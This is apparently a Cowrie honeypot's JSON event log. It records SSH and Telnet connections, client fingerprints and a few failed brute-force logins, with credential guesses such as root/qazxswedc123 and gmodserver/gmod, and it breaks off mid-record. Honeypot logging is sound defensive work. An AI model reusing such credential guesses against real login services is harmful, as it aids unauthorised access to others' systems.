{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3574a9e84b8","protocol":"ssh","message":"New connection: 165.154.23.26:55816 (159.203.135.109:22) [session: f3574a9e84b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:29.030264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:29.034733Z","src_ip":"165.154.23.26","session":"f3574a9e84b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:29.261081Z","src_ip":"165.154.23.26","session":"f3574a9e84b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswedc123","message":"login attempt [root/qazxswedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:30.160687Z","src_ip":"165.154.23.26","session":"f3574a9e84b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47378,"dst_ip":"10.17.0.5","dst_port":22,"session":"56138c6104ee","protocol":"ssh","message":"New connection: 47.86.95.62:47378 (10.17.0.5:22) [session: 56138c6104ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:31.027347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:31.034534Z","src_ip":"47.86.95.62","session":"56138c6104ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:31.303162Z","src_ip":"47.86.95.62","session":"56138c6104ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:31.378584Z","src_ip":"165.154.23.26","session":"f3574a9e84b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:32.115402Z","src_ip":"47.86.95.62","session":"56138c6104ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:41.809081Z","src_ip":"47.86.95.62","session":"56138c6104ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42058,"dst_ip":"10.17.0.5","dst_port":22,"session":"d94209a902a0","protocol":"ssh","message":"New connection: 47.86.95.62:42058 (10.17.0.5:22) [session: d94209a902a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:55.176043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:56.276115Z","src_ip":"47.86.95.62","session":"d94209a902a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:07.604101Z","src_ip":"47.86.95.62","session":"d94209a902a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56124,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d2f0f3dfb8","protocol":"ssh","message":"New connection: 47.86.95.62:56124 (10.17.0.5:22) [session: 66d2f0f3dfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:16.826081Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.43","src_port":54232,"dst_ip":"159.203.135.109","dst_port":23,"session":"5202012dddb0","protocol":"telnet","message":"New connection: 205.210.31.43:54232 (159.203.135.109:23) [session: 5202012dddb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:30.294975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:32.816840Z","src_ip":"47.86.95.62","session":"66d2f0f3dfb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:32.821507Z","src_ip":"47.86.95.62","session":"66d2f0f3dfb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":25574,"dst_ip":"159.203.135.109","dst_port":22,"session":"354b0db26477","protocol":"ssh","message":"New connection: 165.154.23.26:25574 (159.203.135.109:22) [session: 354b0db26477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:45.505574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:45.513645Z","src_ip":"165.154.23.26","session":"354b0db26477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:45.736450Z","src_ip":"165.154.23.26","session":"354b0db26477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135790135790","message":"login attempt [root/135790135790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:46.619068Z","src_ip":"165.154.23.26","session":"354b0db26477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:28:47.848580Z","src_ip":"165.154.23.26","session":"354b0db26477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113235235214233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:01.408090Z","src_ip":"205.210.31.43","session":"5202012dddb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":35670,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e4ab8b796a","protocol":"ssh","message":"New connection: 209.99.184.143:35670 (159.203.135.109:22) [session: a1e4ab8b796a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:07.575508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:07.580832Z","src_ip":"209.99.184.143","session":"a1e4ab8b796a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:07.677428Z","src_ip":"209.99.184.143","session":"a1e4ab8b796a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warnight","password":"warnight","message":"login attempt [warnight/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:08.093969Z","src_ip":"209.99.184.143","session":"a1e4ab8b796a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:09.193218Z","src_ip":"209.99.184.143","session":"a1e4ab8b796a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.225.20","src_port":21094,"dst_ip":"159.203.135.109","dst_port":22,"session":"8780c81e51d3","protocol":"ssh","message":"New connection: 165.154.225.20:21094 (159.203.135.109:22) [session: 8780c81e51d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:12.263224Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:12.473042Z","src_ip":"165.154.225.20","session":"8780c81e51d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49652,"dst_ip":"10.17.0.5","dst_port":22,"session":"f401bbbf0930","protocol":"ssh","message":"New connection: 47.86.95.62:49652 (10.17.0.5:22) [session: f401bbbf0930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:18.600558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:18.605053Z","src_ip":"47.86.95.62","session":"f401bbbf0930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:29:55.188396Z","src_ip":"47.86.95.62","session":"d94209a902a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":50332,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ac8246d29d","protocol":"ssh","message":"New connection: 165.154.23.26:50332 (159.203.135.109:22) [session: 35ac8246d29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:03.358950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:03.364862Z","src_ip":"165.154.23.26","session":"35ac8246d29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:03.582704Z","src_ip":"165.154.23.26","session":"35ac8246d29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmod","message":"login attempt [gmodserver/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:04.494295Z","src_ip":"165.154.23.26","session":"35ac8246d29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59548,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c25d7de598","protocol":"ssh","message":"New connection: 47.86.95.62:59548 (10.17.0.5:22) [session: b9c25d7de598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:05.449576Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:05.728591Z","src_ip":"165.154.23.26","session":"35ac8246d29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:14.661060Z","src_ip":"47.86.95.62","session":"b9c25d7de598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:16.833465Z","src_ip":"47.86.95.62","session":"66d2f0f3dfb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.77.182.48","src_port":53376,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f1802b4811","protocol":"telnet","message":"New connection: 193.77.182.48:53376 (10.17.0.5:23) [session: 87f1802b4811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:18.809500Z"}
{"eventid":"cowrie.session.closed","duration":13.099994897842407,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:31.909392Z","src_ip":"193.77.182.48","session":"87f1802b4811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33024,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab3fe62a3cf","protocol":"ssh","message":"New connection: 47.86.95.62:33024 (10.17.0.5:22) [session: cab3fe62a3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:46.954998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:53.359591Z","src_ip":"47.86.95.62","session":"cab3fe62a3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 